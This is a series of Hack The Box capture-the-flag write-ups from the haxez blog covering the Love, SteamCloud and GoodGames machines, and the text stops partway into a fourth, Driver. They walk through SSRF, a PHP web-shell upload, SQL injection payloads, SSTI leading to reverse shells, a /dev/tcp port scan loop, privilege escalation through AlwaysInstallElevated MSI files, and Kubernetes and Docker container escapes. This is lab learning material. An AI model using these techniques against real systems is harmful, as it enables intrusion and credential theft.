Love is an easy Windows box created by pwnmeow on Hack The Box and was released on the 1st of May 2021. Hello world, welcome to Haxez where today I will explain how I hacked Love. To hack this box is it recommended that you have Windows enumeration and web enumeration skills. From hacking this box, you will learn exploit modification, server-side request forgery, applocker policies, and always install everything misconfiguration.
Love Enumeration
After spawning the box, I sent a single ping request to ensure it was online. I then followed up with a Nmap scan targeting all ports, requesting service versions, and running default scripts. Finally, I gave it a minimum packet rate of 10000 and said to output all formats. From the results, I learnt that there were several ports open. This included various ports for HTTP, 445 for SMB, 3306 for MySQL, 5985 and 5986 for HTTPAPI or WinRM, the list goes on.
As SMB was listening, the first thing I did was run crackmapexec to enumerate shares and host information. From the results, I learnt that it was a Windows 10 Pro box with the hostname LOVE. The domain was also called Love which suggests the box is not a domain controller (as they have the same name). Furthermore, SMBv1 was enabled.
After poking SMB, I went to take a look at the web application. First, I visited the application in my browser and saw that it was a type of voting application. Next, I appended various extensions to the end of the index page. As a result, I learnt that the application was written in PHP.
Following that, I ran whatweb against the application and learnt that the PHP version was 7.3.27. Furthermore, I also learnt that the Apache version was 2.4.46 and that the application was using the Bootstrap framework.
I also ran a gobuster scan to try to identify any directories or files that would disclose sensitive information about the application. However, other than some 301 and 302 redirections and a bunch of 403 errors, I didn’t find much.
I decided to look at the other HTTP ports that were discovered during the Nmap scan. Therefore, I punched the IP address of the box into my browser and specified port 5000. Immediately, I received a Forbidden error. I shouldn’t have been surprised by this as Nmap displayed the forbidden error in the results.
Subdomains and Virtual Hosts
I revisited the results of the Nmap scan to choose which service to poke at next. It was then that I noticed the common name of the SSL certificate on port 443. Below, you can see the output from the Nmap scan showing the subdomain of staging.love.htb.
Immediately, I excitedly added the IP address and new subdomain to my host file. Surely this was the foothold that I’d been looking for. Finally, I found a weakness in this box’s armour! I entered the domain into my browser and…. Forbidden. Wow, talk about rejection.
┌──(kali㉿kali)-[~/HTB/Love] └─$ echo '10.129.48.103 staging.love.htb' | sudo tee -a /etc/hosts
However, visiting the subdomain via HTTP instead of HTTPS loaded a page. I poked around the application for a bit and noticed a demo page. In short, the demo page is a free file scanner that allows the user to submit a URL with a file for scanning.
Server-Side Request Forgery
I wanted to see if the demo page worked so I set up a netcat listener on my local machine. Next, I input the location of a file into the Scan File input box and sent the request. Sure enough, the application pulled the file down from my host and displayed the contents. Admittedly, my first thought was to try and get it to execute a payload by downloading it from my host. However, those attempts failed.
There is a Web Application vulnerability known as Server Side Request Forgery. In short, SSRF exploits the box’s own trust. Because the resource request is sent from the box itself, it may allow access to otherwise forbidden files. To illustrate, I input the loopback address of 127.0.0.1 followed by port 5000 into the URL box. This was the page I was previously unable to access. Upon sending the request, I received credentials.
Voting System Admin
With the username and password successfully stolen via SSRF, I headed back to the voting system by navigating to the IP address. Next, I supplied the stolen credentials and… they didn’t work. This is another one of those easy boxes which seems more difficult than it is because it takes so long.
Fortunately, I ran a gobuster earlier and remember seeing a 301 redirection from /admin to /admin/. This is where gobuster attempted to load a file called admin but was redirected to a directory called admin, likely containing a PHP file. Therefore, I headed to the admin directory and was able to log in with the credentials.
Love RCE POC
I noticed the Copyright disclaimer at the bottom of the page and decided to perform a Google search for the name SourceCodeStar. After a few Google searches, I stumbled upon several Exploit Database pages which suggested there was an authenticated remote code execution. Unfortunately, there didn’t appear to be a CVE number associated with it.
Admittedly, I wanted some guidance on this step so I am going to copy what IppSec did >>HERE<<. First, I navigated to the Voters menu option and clicked the New button. This spawned the window you see below. I populated the window with some test data and selected a jpeg file for the photo.
Next, I turned intercept on and clicked the save button. Burp successfully intercepted the request which I then modified. I changed the filename to “haxez.php” and then removed the jpeg data and replaced it with a PHP web shell.
Then, I navigated to the payload in my browser and passed the dir command to the cmd parameter. It successfully listed out the contents of the directory.
Love Foothold
Now that I had command execution, it was time to get on the box using a reverse shell. I downloaded nishang from >>HERE<< and copied the Invoke-PowerShellTcpOneLine.ps1 payload to my current working directory. Next, I opened the payload with VIM and changed the IP address and port to my tun0 IP address and port 9001.
Then, I sent my original directory listing request to Burp repeater and changed the request method to a POST. Next, I started a netcat listener and then added the following Payload to Burp and sent the request. I instantly received a 404 error. There must be a clean-up script on the box that is removing the payloads.
I quickly repeated the process by uploading a new command shell and executing the above payload. Finally, I got a reverse shell and had a foothold on the box. From here, I was able to grab the user flag from the phoebe users desktop directory.
┌──(kali㉿kali)-[~/HTB/Love] └─$ sudo nc -lvnp 9001 [sudo] password for kali: listening on [any] 9001 ... connect to [10.10.14.36] from (UNKNOWN) [10.129.48.103] 59730 PS C:\xampp\htdocs\omrs\images> whoami love\phoebe PS C:\xampp\htdocs\omrs\images> type C:\Users\phoebe\Desktop\user.txt d85▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓319
Love Privilege Escalation
After capturing the user flag, I download the latest version of the 64 bit obfuscated WinPEASS binary. Next, I spawn a Python3 web server and used cURL to download the binary to the target machine. Finally, I ran the executable and saw that the AlwaysInstallElevated value was set to 1 which I presume means it was enabled. Quoting directly from the HackTricks article “If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.”. Is this a useful setting to have as a sysadmin? it seems a bit odd.
With this knowledge, I went back to my Linux terminal and used msfvenom to create an MSI payload. The output below will create a Windows x64 reverse shell that connects back to my local host on port 9002. The file type is specified as an MSI file and I saved the output to payload.msi.
I set up a netcat listener to listen on port 9002 and then used cURL to download the payload from the Python web server I still had running. I specified the -o flag to save the payload as payload.msi.
Finally, I ran the payload and thankfully, I received a connection back to the netcat listener. I now had a reverse shell as the nt authority\system user and could finally capture the root flag.
──(kali㉿kali)-[~/HTB/Love] └─$ sudo nc -lvnp 9002 [sudo] password for kali: listening on [any] 9002 ... connect to [10.10.14.36] from (UNKNOWN) [10.129.48.103] 59734 Microsoft Windows [Version 10.0.19042.867] (c) 2020 Microsoft Corporation. All rights reserved. C:\WINDOWS\system32>type \users\administrator\desktop\root.txt type \users\administrator\desktop\root.txt 64b▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓95f
Love Learnings
Love requires patience… the initial enumeration stage of this box took longer than I had hoped. It felt like I was jumping through hoops but it taught me valuable lessons about enumeration. It’s one of those boxes that seemed difficult due to the level of enumeration required to get a foothold, but the actual exploit is easy. Furthermore, it does a great job of demonstrating Server Side Request Forgery which I hadn’t really done before.
The privilege escalation was a lot of fun and fairly simple to pull off. I didn’t know about this method of privilege escalation until today so I’ve learnt that too. Overall it’s a fun box but it definitely tested my patience at times. My initial PHP shell just up and vanished so I had to upload that again before getting my reverse shell. For me, it was educational and taught me new techniques which is what I want from an easy box. Thanks for the box.
SteamCloud is an easy, retired vulnerable Linux virtual machine created by felamos from Hack The Box. Hello world, welcome to haxez where today I’m going to be attempting to hack SteamCloud. This isn’t a walkthrough, it’s more of a way to document my struggles, frustration and what I’ve learnt. It is highly likely that I will follow the official walkthrough as I’m still learning.
SteamCloud Enumeration
After spinning up the box I pinged it to see if it was online. Sure enough, the box responded. Next, I scanned the machine with Nmap to identify what ports were open. As you can see from the output below, port 22 for SSH and a few other ports were open. I’ve not seen the other ports open on boxes before but it seems that they relate to the Kubernetes service.
Kubernetes is an open-source container orchestration platform developed by Google that allows developers to automate the deployment, scaling, and management of containerized applications. Kubernetes provides a set of APIs for deploying, scaling, and managing containerized applications across a cluster of machines. It can manage and orchestrate the deployment of applications that are containerized using popular container runtimes like Docker. Kubernetes provides advanced features like automatic load balancing, automatic scaling of applications based on usage patterns, and self-healing capabilities. It is widely used in modern application development and has become the de facto standard for container orchestration.
┌──(kali㉿kali)-[~/HTB/SteamCloud] └─$ sudo nmap -Pn -sC -sV -p- -A 10.129.96.167 -T4 -oA steamcloud Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-21 03:38 EDT Nmap scan report for 10.129.96.167 Host is up (0.013s latency). Not shown: 65528 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 fcfb90ee7c73a1d4bf87f871e844c63c (RSA) | 256 46832b1b01db71646a3e27cb536f81a1 (ECDSA) |_ 256 1d8dd341f3ffa437e8ac780889c2e3c5 (ED25519) 2379/tcp open ssl/etcd-client? | tls-alpn: |_ h2 |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=steamcloud | Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.167, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1 | Not valid before: 2023-03-21T07:37:40 |_Not valid after: 2024-03-20T07:37:40 2380/tcp open ssl/etcd-server? | tls-alpn: |_ h2 |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=steamcloud | Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.167, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1 | Not valid before: 2023-03-21T07:37:40 |_Not valid after: 2024-03-20T07:37:40 8443/tcp open ssl/https-alt | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 403 Forbidden | Audit-Id: cc30677d-95c5-4c9e-a144-cccfbd7b5c0b | Cache-Control: no-cache, private | Content-Type: application/json | X-Content-Type-Options: nosniff | X-Kubernetes-Pf-Flowschema-Uid: 065cf4c6-349a-4830-b6dc-fe12634add40 | X-Kubernetes-Pf-Prioritylevel-Uid: da6ad453-c1be-4a95-abe6-ec27573b3303 | Date: Tue, 21 Mar 2023 07:38:42 GMT | Content-Length: 212 | {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403} | GetRequest: | HTTP/1.0 403 Forbidden | Audit-Id: 83bef595-8d68-41bb-863c-1b3a6b6a668c | Cache-Control: no-cache, private | Content-Type: application/json | X-Content-Type-Options: nosniff | X-Kubernetes-Pf-Flowschema-Uid: 065cf4c6-349a-4830-b6dc-fe12634add40 | X-Kubernetes-Pf-Prioritylevel-Uid: da6ad453-c1be-4a95-abe6-ec27573b3303 | Date: Tue, 21 Mar 2023 07:38:42 GMT | Content-Length: 185 | {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403} | HTTPOptions: | HTTP/1.0 403 Forbidden | Audit-Id: 6b43a7b4-68c7-4daa-b715-7d8799aa34e3 | Cache-Control: no-cache, private | Content-Type: application/json | X-Content-Type-Options: nosniff | X-Kubernetes-Pf-Flowschema-Uid: 065cf4c6-349a-4830-b6dc-fe12634add40 | X-Kubernetes-Pf-Prioritylevel-Uid: da6ad453-c1be-4a95-abe6-ec27573b3303 | Date: Tue, 21 Mar 2023 07:38:42 GMT | Content-Length: 189 |_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403} |_http-title: Site doesn't have a title (application/json). |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=minikube/organizationName=system:masters | Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.96.167, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1 | Not valid before: 2023-03-20T07:37:38 |_Not valid after: 2026-03-20T07:37:38 | tls-alpn: | h2 |_ http/1.1 10249/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |_http-title: Site doesn't have a title (text/plain; charset=utf-8). 10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |_http-title: Site doesn't have a title (text/plain; charset=utf-8). |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=steamcloud@1679384263 | Subject Alternative Name: DNS:steamcloud | Not valid before: 2023-03-21T06:37:42 |_Not valid after: 2024-03-20T06:37:42 | tls-alpn: | h2 |_ http/1.1 10256/tcp open http Golang net/http server (Go-IPFS json-rpc or Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Kubernetes Enumeration
Admittedly, I’m a bit of a noob when it comes to Kubernetes and Docker. However, I have managed a PAAS service before using Openshift so I know a bit. Unfortunately, that was a long time ago so it’s deep inside the recess of my smooth dense brain. One thing I remember is that Kubernetes creates pods which control the container. I attempted to view the pods by querying the Kubelet service with cURL.
While that command was successful, it was messy. Using the kubeletctl_linux_amd64 binary from GitHub, we can query the service more neatly. The output below shows me listing the pods. Please note, I just spent 10 minutes formatting the table so I will be using screenshots from now. While this gives us the names of the pods, it doesn’t really give us anything we can use.
We can use the Kubeletctl binary to check whether any of these Pods allow us to execute commands. As you can see below, the image shows that commands can be run on the kube-proxy-bhb59 and NGINX pods.
Now that we have code execution on the NGINX pod, we should be able to use it to perform a privilege escalation. I’m not going to pretend I know exactly what’s going on here. Perhaps I do but I’m overcomplicating it in my head. We’re going to create our own highly privileged service account. First, we need to grab the token.
With these two pieces to the puzzle, we should now be able to perform higher privileged operations or something? This is something I will have to revisit, I know what a CA certificate is, but I’m not sure what the token is. Anyway, we save the certificate to a file and we export the token to an environmental variable. I reran the certificate command but piped the output to a file using ‘| tee -a ca.cert’. I ran the following to export the token to the token environmental variable. Replace ‘–snip–‘ with the token.
With the token and certificate in our possession, we can use Kubectl to talk to the host. As you can see from the command below we can query the pod. Let’s check to see what actions we can perform. The output below shows that we can get, create and list pods. I can see where this is going.
While this path to exploiting the hosts is different to any that I’ve done before, I understand the concept. We’re likely going to create a new pod that mounts the root file system and allows us to chroot it. This will allow us to capture the flags or as a hacker do anything we like with the target system. Anyway, we need to create the pod first, so let us steal the YAML from the official walkthrough. The YAML file is essentially deployment instructions for a pod/container. You can see below that it will indeed mount the /root file system. Please note that the indentation in the official walkthrough is slightly broken, the Yaml below should work.
We can now check to see if our pod has been created. You can see it below, all fresh and new to the world. It would be a shame if we were to corrupt it.
┌──(kali㉿kali)-[~/HTB/SteamCloud] └─$ sudo kubectl --token=$token --certificate-authority=ca.cert --server=https://10.129.96.167:8443 get pods NAME READY STATUS RESTARTS AGE nginx 1/1 Running 0 104m nginxt 1/1 Running 0 2m14s
Now, we can execute commands on the new NGINX pod as we did before to grab the token and certificate. However, this time we’re going to use it to get the user.txt and root.txt files. This is possible because the whole file system has been mounted inside the container.
This is another one of them boxes where I wouldn’t have had a clue without the official walkthrough. I would have enumerated it, found out that it was Kubernetes and given up. I may have gotten to the point where I was able to query the service and get the pods but doubt I would have gone further. The box is great for learning, there were a number of times when things didn’t go according to plan but I was able to figure it out. Anyway, that’s me done for today. This is a good box, it didn’t make me want to rage quit. It definitely taught me some things which I hope I don’t forget a week from now.
GoodGames is a retired, easy vulnerable virtual machine created by Hack The Box, it is our challenge to hack into it. Hello world, welcome to Haxez, I’m back trying to hack another box to learn new things.
GoodGames Enumeration
I like to do is to check that the box is online by sending it a ping request. This may not always work as the host or some other device on the network could block ICMP traffic. However, most of the easy machines have responded to pings and this box is no exception.
┌──(kali㉿kali)-[~/HTB/GoodGames] └─$ ping 10.129.242.108 PING 10.129.242.108 (10.129.242.108) 56(84) bytes of data. 64 bytes from 10.129.242.108: icmp_seq=1 ttl=63 time=13.6 ms 64 bytes from 10.129.242.108: icmp_seq=2 ttl=63 time=12.2 ms --- 10.129.242.108 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1029ms rtt min/avg/max/mdev = 12.187/12.912/13.637/0.725 ms
The box is awake and talking to us so it is time to see what services are available. I ran the Nmap command with the scripts flag, the enumerate versions flag and the aggressive flag. As you can see from the output below, the only service that appears open is HTTP on 80. It is running apache with Python 3.9.2 and we can see that domain is goodgames.htb.
┌──(kali㉿kali)-[~/HTB/GoodGames] └─$ sudo nmap -sC -sV -p- -A 10.129.242.108 -oA GoodGames [sudo] password for kali: Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-20 03:25 EDT Nmap scan report for 10.129.242.108 Host is up (0.015s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.51 |_http-server-header: Werkzeug/2.0.2 Python/3.9.2 |_http-title: GoodGames | Community and Store No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.93%E=4%D=3/20%OT=80%CT=1%CU=32198%PV=Y%DS=2%DC=T%G=Y%TM=64180A8 OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)SEQ OS:(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M550ST11NW7%O2=M550ST11NW7%O OS:3=M550NNT11NW7%O4=M550ST11NW7%O5=M550ST11NW7%O6=M550ST11)WIN(W1=FE88%W2= OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M550NNSN OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C OS:D=S) Network Distance: 2 hops Service Info: Host: goodgames.htb TRACEROUTE (using port 21/tcp) HOP RTT ADDRESS 1 11.44 ms 10.10.14.1 2 11.60 ms 10.129.242.108 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 29.94 seconds
I’ve added the domain to my host file but it doesn’t seem to have made much of a difference. Visiting the IP address directly or via the domain name appears to resolve the same website. It appears to be a video game journalist website. I suspect it is using some common content management system but I will need to dig deeper to find out.
Enumerating The Web Application
There are a number of different tools I like to run when testing web applications. The first is ‘whatweb’ as it can tell you more about the site and the technologies being used. Additionally, I also like to run Nikto but it seems that there is some funky coding. Unfortunately, Nikto thinks every file it looks for exists on the server so I’m going to ignore it for now.
There are various directory and file brute-forcing tools available like Gobuster and Dirb. I tend to use Dirb more than Gobuster for quick analysis. However, as you can see from the output below there isn’t a lot to go on.
There is a login portal accessible by clicking the avatar icon at the top of the page. I populated the username and password fields and submitted the request. I tried [email protected] but the main reason for this was to capture the request in burp.
It’s also worth noting that upon submission of the credentials, I got a 500 error. This suggests something in the code is broken. However, I didn’t include any special characters other than the ‘@’ symbol in my login request.
I saved the POST request to a text file and fed it to SQLMap to see if would find anything. Sure enough, it appears we have a blind time-based and boolean-based SQL injection. I love SQLMap because finding blind SQL can be difficult (for me anyway). Furthermore, blind SQL injections can take forever for the data. As you can see below we have a database called main with 3 tables.
┌──(kali㉿kali)-[~/HTB/GoodGames] └─$ sudo sqlmap -r login.txt -D main --tables ___ __H__ ___ ___[']_____ ___ ___ {1.7.2#stable} |_ -| . [.] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org --- Parameter: email (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: [email protected]' AND (SELECT 2122 FROM (SELECT(SLEEP(5)))NPSu) AND 'LuBm'='LuBm&password=admin Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: [email protected]' AND 1646=(SELECT (CASE WHEN (1646=1646) THEN 1646 ELSE (SELECT 8949 UNION SELECT 5637) END))-- -&password=admin --- [04:11:13] [INFO] retrieved: blog [04:11:14] [INFO] retrieved: blog_comments [04:11:17] [INFO] retrieved: user Database: main [3 tables] +---------------+ | user | | blog | | blog_comments | +---------------+ [04:11:18] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/goodgames.htb' [*] ending @ 04:11:18 /2023-03-20/
The information we want is probably hiding inside the user’s table so I dumped that next. As you can see from the output below I messed up my command. I only wanted to dump the user’s table but ended up dumping everything. Nevermind, we got the admin user’s hash so now we just need to crack it.
┌──(kali㉿kali)-[~/HTB/GoodGames] └─$ sudo sqlmap -r login.txt -D main T user --dump ___ __H__ ___ ___[,]_____ ___ ___ {1.7.2#stable} |_ -| . [,] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| https://sqlmap.org --- Parameter: email (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: [email protected]' AND (SELECT 2122 FROM (SELECT(SLEEP(5)))NPSu) AND 'LuBm'='LuBm&password=admin Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: [email protected]' AND 1646=(SELECT (CASE WHEN (1646=1646) THEN 1646 ELSE (SELECT 8949 UNION SELECT 5637) END))-- -&password=admin --- Database: main Table: blog_comments [2 entries] +----+---------+--------+----------------------------------------------+ | id | blog_id | user | comment | created_at | is_accepted | +----+---------+--------+----------------------------------------------+ | 1 | 1 | admin | --snipp-- | NULL | 1 | | 2 | 1 | admin | --snipp-- | NULL | 0 | +----+---------+--------+----------------------------------------------+ [04:17:25] [WARNING] no clear password(s) found Database: main Table: user [1 entry] +----+-------+---------------------+----------------------------------+ | id | name | email | password | +----+-------+---------------------+----------------------------------+ | 1 | admin | [email protected] | 2b22337f218b2d82dfc3b6f77e7cb8ec | +----+-------+---------------------+----------------------------------+ [04:17:25] [INFO] table 'main.`user`' dumped to CSV file '/root/.local/share/sqlmap/output/goodgames.htb/dump/main/user.csv' [04:17:25] [INFO] fetching columns for table 'blog' in database 'main'
Cracking The Admin Hash
Cracking the administrator’s hash was fairly painless. You could throw the hash into a site like crackstation.net but you may not always have internet. It’s always good to have multiple tools for the same job. It’s also good to know how to manually use those tools in case the automated ones don’t work. I fed the hash to our old pal John The Ripper and he hacked it up for me in no time at all. As you can see, the password was ‘superadministrator’.
┌──(kali㉿kali)-[~/HTB/GoodGames] └─$ sudo john --format=raw-md5 admin.hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=4 Press 'q' or Ctrl-C to abort, almost any other key for status superadministrator (?) 1g 0:00:00:00 DONE (2023-03-20 04:20) 6.666g/s 23175Kp/s 23175Kc/s 23175KC/s superarely1993..super5dooper Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed.
Cracking is a lot of fun so I decided to crack it again with Hashcat just for the sake of it. After all, we need to verify that John gave us the correct password. Sure we could try to log in but what if there is some brute force protection and our account gets locked out? Ok, here is the hashcat output.
With every step forward in a hack or penetration test, we should cycle back to the enumeration phase. The higher level of access with grant us a high level of information. The further you climb up the mountain, the more of the surrounding area you will see. It will give us a better understanding of how everything works. Clicking on the cog in the top right-hand corner of the website gives us an error but we have found a new subdomain.
Adding that to our host file allows us to visit the newly discovered subdomain and we are presented with a Flask application. We can try the credentials that we found earlier and see if the administrator is reusing credentials.
Ha! I honestly didn’t expect that to work. Using the username ‘admin’ and the password ‘superadministrator’, I was able to log in to the Flask application. Also, for those new to hacking and penetration testing, password reuse and simple passwords are a LOT more common than you think. If you ever do a build review or a password audit, you will see what I mean.
GoodGames Server Side Template Injection
Server Side Template Injection or SSTI is my favourite vulnerability at the moment. It’s all I seem to find on these boxes but I admit it has given me a good understanding. I now know where I’m likely to find it, how to find it and what to do with it. Interestingly, the server crashes when trying to calculate big numbers. I wanted to make my username 1337. Alas, I will have to settle for Bob. Personally, I believe that ‘{{ 2 * 404 }}’ is the most elite of all the SSTI payloads.
It’s time to make a payload that will get us a reverse shell. As you can see, I’m creating a simple bash reverse shell and base64 encoding it. Don’t forget to start your netcat listener.
That logs us onto the system as root, surely this was too easy? we can capture the flag from the Augustus users home directory but there is no root flag. I think it’s time we go back to the enumeration phase and find out what’s going on here.
┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.126] from (UNKNOWN) [10.129.242.108] 33846
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# whoami
whoami
root
root@3a453ab39d3d:/backend# ls /home
ls /home
augustus
root@3a453ab39d3d:/backend# cat /home/augustus/user.txt
cat /home/augustus/user.txt
0f0▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓767
GoodGames Docker Container Escape
I will be the first to admit that my Linux and Windows host enumeration skills need improving. I used the official walkthrough for the next part as I wasn’t sure what to do. I’ve used the ‘id’ and ‘groups’ commands before to identify that I was inside a docker container. However, I think the most obvious sign is that the IP address of the host we’re in, doesn’t match the host we attacked. The IP of the containers is ‘172.19.0.2’ but the IP of the target is ‘10.129.242.108’.
What is also interesting is that we’re the second host in this subnet. It is highly likely that ‘172.19.0.1’ is the Docker host. If we could scan that host then we could find out what services are listening and try to get access to it somehow.
We can perform a portscan on the localhost IP address to see what other ports are open. Again, this is stolen directly from the wiki but something I intend to steal and add to my notes for future use. This could come in handy when pivoting from one Linux device to another. If you change the IP address to another host in the network then you can see what other services there are to try and exploit. Anyway, as shown below, port 22 is open which wasn’t open when we ran Nmap against the target IP.
root@3a453ab39d3d:/backend# for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && echo "port $PORT is open"; done <ull" 2>/dev/null && echo "port $PORT is open"; done port 22 is open port 80 is open
We can now SSH to the host with the august user and the password that we’ve repeatedly used.
ssh [email protected] The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established. ECDSA key fingerprint is SHA256:AvB4qtTxSVcB0PuHwoPV42/LAJ9TlyPVbd7G6Igzmj0. Are you sure you want to continue connecting (yes/no)? yes yes Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts. [email protected]'s password: superadministrator Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
GoodGames Privilege Escalation
Let’s just go through what we know about the system. We got our foothold through the web application which dropped us inside a container as root. We can SSH from the container to the host but only as the Augustus user. What if, while inside the container we create a file as root and set the SUID bit and then execute it as Augustus once we SSH to the host? let’s find out, makes sense to me. First, as Augustus on the container host, copy the bash binary to your home directory. Then, exit the host back to the container and change the permissions of the binary while you’re the root user.
This was a fun Linux box. I enjoyed the SQL injection and the SSTI to get the foothold. I definitely wouldn’t have worked out the privilege escalation but it does make a lot of sense. I feel like I should have run LinPEAS on the container host to see if it would have recognised it was on a container and suggested escapes. With that said, there is a dockerfile on the host as soon as you get the foothold so this would have been an obvious signpost.
Note: I ran LinPeas and it identified I was in a container.
══╣ Container ╠══ ╔══════════╣ Container related tools present ╔══════════╣ Am I Containered? ╔══════════╣ Container details ═╣ Is this a container? ........... docker ═╣ Any running containers? ........ No ╔══════════╣ Docker Container details ═╣ Am I inside Docker group ....... No ═╣ Looking and enumerating Docker Sockets ═╣ Docker version ................. Not Found ═╣ Vulnerable to CVE-2019-5736 .... Not Found ═╣ Vulnerable to CVE-2019-13139 ... Not Found ═╣ Rootless Docker? ................ No
Hello world, welcome to haxez. Today I’m going to be attempting to own the easy Windows machine Driver from Hack The Box. Admittedly, I haven’t read much about this box so I don’t know what I’m getting myself into. By the sounds of things, it’s supposed to have something to do with a printer. I believe we’re required to exploit print nightmare which I’ve never done before so this should be fun.
Driver Initial Enumeration
First, I check to see that the box is online by pinging it from my terminal. If the box responds to ping then I will start a Nmap scan. Typically I will use the ‘-sC’, ‘-sV’, ‘-A’ and ‘-p-‘ flags to scan all ports, run scripts, and obtain service versions and a very aggressive manner. As you can see from the output below, we are looking at a Windows host with port 80 for HTTP and 445 for SMB open.
┌──(kali㉿kali)-[~/Driver] └─$ ping 10.129.95.238 PING 10.129.95.238 (10.129.95.238) 56(84) bytes of data. 64 bytes from 10.129.95.238: icmp_seq=1 ttl=127 time=24.6 ms --- 10.129.95.238 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 24.599/24.599/24.599/0.000 ms
┌──(kali㉿kali)-[~/Driver] └─$ sudo nmap -sC -sV -p- -A 10.129.95.238 -oA driver [sudo] password for kali: Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 15:01 EDT Nmap scan report for 10.129.95.238 Host is up (0.013s latency). Not shown: 65531 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=MFP Firmware Update Center. Please enter password for admin |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 (93%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2012 R2 (87%), Microsoft Windows 10 1511 - 1607 (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), FreeBSD 